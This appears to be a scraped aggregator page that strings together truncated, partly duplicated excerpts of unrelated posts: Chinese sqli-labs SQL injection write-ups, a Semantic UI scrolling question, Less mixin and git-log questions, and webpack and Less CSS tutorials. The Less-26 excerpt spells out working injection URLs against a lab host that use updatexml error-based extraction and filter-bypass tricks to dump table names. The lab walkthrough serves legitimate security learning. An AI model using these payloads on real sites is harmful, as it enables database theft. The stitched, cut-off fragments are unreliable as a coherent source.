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SQL注入--sqli-labs(1-4关)

跟風遠走 提交于 2020-01-31 15:48:44
mysql的基本用法:    查库:select schema_name from information_schema.schemata 等同于 show databases   查表:select table_name from information_schema.tables where table_schema='' 等同于 show tables   查列:select column_name from information_schema.columns where table_name=''   查字段:select id,username,password from security.users 查询出security中的users表中的id、username和password   information_schema,系统数据库,包含所有数据库相关信息。   information_schema.schemata中schema_name,字段为所有数据库名称。   information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。   information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table

How to enable overflow scrolling within a Semantic Ui Grid?

六眼飞鱼酱① 提交于 2020-01-31 09:32:18
问题 I don't have enough rep to post images, but here's a link. http://i.stack.imgur.com/eTp8Q.png I'm having trouble trying to figure out the proper CSS/LESS to enable sidescrolling here within the Semantic UI framework. There are four columns in this part of the grid, and I need to add four more, but have them hidden off to the right until they are scrolled to, if that makes sense. <div class="features ui grid noMargin"> <div class="four wide column greyOdd">Stuff here</div> <div class="four

How to enable overflow scrolling within a Semantic Ui Grid?

試著忘記壹切 提交于 2020-01-31 09:31:34
问题 I don't have enough rep to post images, but here's a link. http://i.stack.imgur.com/eTp8Q.png I'm having trouble trying to figure out the proper CSS/LESS to enable sidescrolling here within the Semantic UI framework. There are four columns in this part of the grid, and I need to add four more, but have them hidden off to the right until they are scrolled to, if that makes sense. <div class="features ui grid noMargin"> <div class="four wide column greyOdd">Stuff here</div> <div class="four

How to enable overflow scrolling within a Semantic Ui Grid?

社会主义新天地 提交于 2020-01-31 09:31:22
问题 I don't have enough rep to post images, but here's a link. http://i.stack.imgur.com/eTp8Q.png I'm having trouble trying to figure out the proper CSS/LESS to enable sidescrolling here within the Semantic UI framework. There are four columns in this part of the grid, and I need to add four more, but have them hidden off to the right until they are scrolled to, if that makes sense. <div class="features ui grid noMargin"> <div class="four wide column greyOdd">Stuff here</div> <div class="four

sqli 26 26a

送分小仙女□ 提交于 2020-01-30 13:44:45
less26 id=1 回显正确 id=1‘ 提示错误 id=1’--+ 出错 但是显示并未显示 --+ 得注释符号 http://192.168.50.100/sqli/Less-26/?id=1' ;%00 显示正常 说明存在漏洞 查看代码 发现 代码中得替换语句 代码中过滤了注释符--+ # ,空格,正反斜杠 http://192.168.50.100/sqli/Less-26/?id=1' OoRr '1'='1 方法: or可以用||替换 and可以用&& %26%26 注释符用;%00替代 空格用%a0替代 法一 查库 http://192.168.50.100/sqli/Less-26/?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1'='1 http://192.168.50.100/sqli/Less-26/?id=1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479))),1)||'1'='1 查列 http://192.168.50.100/sqli/Less-26/?id=1'|

Overwrite less mixin

岁酱吖の 提交于 2020-01-30 04:40:48
问题 I wish to remove border radius from all the elements in Bootstrap. So I created custom-mixins.less and placed following lines in it, hopping that it would overwrite the original .border-radius mixin but didn't. // Border Radius .border-radius(@radius) { } So I tried following lines as an alternative which actually worked. // Border Radius .border-radius(@radius) { @radius : 0px; -webkit-border-radius: @radius; -moz-border-radius: @radius; border-radius: @radius; } I tried some mixins at http:

How to make git-log scroll up instead of down

牧云@^-^@ 提交于 2020-01-29 14:30:27
问题 Whenever I view a git log --all --graph --oneline --decorate output in my terminal emulator, the first commit is viewed at the top of the terminal screen. When I quit the git log output view with q , a few lines from the are not visible any more, as there are some new lines appended to the bottom of the screen, for the next command. Usually though, those top lines are the most interesting, as they resemble the most recent git history, so I want them to be still visible when I type the next

How to make git-log scroll up instead of down

非 Y 不嫁゛ 提交于 2020-01-29 14:28:27
问题 Whenever I view a git log --all --graph --oneline --decorate output in my terminal emulator, the first commit is viewed at the top of the terminal screen. When I quit the git log output view with q , a few lines from the are not visible any more, as there are some new lines appended to the bottom of the screen, for the next command. Usually though, those top lines are the most interesting, as they resemble the most recent git history, so I want them to be still visible when I type the next

从零开始配置webpack(基于webpack 4 和 babel 7版本)

流过昼夜 提交于 2020-01-29 10:56:09
webpack 核心概念: Entry: 入口 Module:模块,webpack中一切皆是模块 Chunk:代码库,一个chunk由十多个模块组合而成,用于代码合并与分割 Loader:模块转换器,用于把模块原内容按照需求转换成新内容 Plugin:扩展插件,在webpack构建流程中的特定时机注入扩展逻辑来改变构建结果或做你想要做的事情 Output: 输出结果 webpack流程: 原文链接: 点我 webpack启动后会从 Entry 里配置的 Module 开始递归解析 Entry 依赖的所有Module.每找到一个Module,就会根据配置的Loader去找出对应的转换规则,对Module进行转换后,再解析出当前的Module依赖的Module.这些模块会以Entry为单位进行分组,一个Entry和其所有依赖的Module被分到一个组也就是一个Chunk。最好Webpack会把所有Chunk转换成文件输出。在整个流程中Webpack会在恰当的时机执行Plugin里定义的逻辑。 下面我们开始从零开始配置一个支持打包图片,CSS,LESS,SASS,支持ES6/ES7和JSX语法,并对代码进行压缩的webpack配置. 1. 最简webpack配置 首先初始化npm和安装webpack的依赖: npm init -y npm install --save-dev

less学习之基本语法

≯℡__Kan透↙ 提交于 2020-01-29 07:17:20
目录 学习源 Less为什么出现? 了解Less Less注释符 编译模式 延时加载特性 变量 变量用作属性名 变量用作类名 变量用作链接 定义多个变量 混合 混合(带选择器) 混合(带参数) 混合(多个参数) arguments变量 匹配模式 得到混合变量的返回值 嵌套规则 父元素选择器& 改变 & 顺序及生成所有可能的选择器列表 运算 命名空间 引入 Less函数 学习源 博主:王佳斌 https://blog.csdn.net/weixin_44198965/article/details/90240858 感谢 (〃‘▽’〃) Less为什么出现? 作为一门标记性语言,CSS 的语法相对简单,对使用者的要求较低,但同时也带来一些问题:CSS 需要书写大量看似没有逻辑的代码,不方便维护及扩展,不利于复用,尤其对于非前端开发工程师来讲,往往会因为缺少 CSS 编写经验而很难写出组织良好且易于维护的 CSS 代码,造成这些困难的很大原因源于 CSS 是一门非程序式语言,没有变量、函数、SCOPE(作用域)等概念。 Less有助于你学习Sass。 了解Less 它是一门CSS预处理,扩充了CSS,增加了诸如变量、混合(mixin)、函数等功能,让 CSS 更易维护、方便制作主题、扩充,Less 也可以运行在 Node 或浏览器端。 总结: 让CSS更具维护性、主题性、扩展性!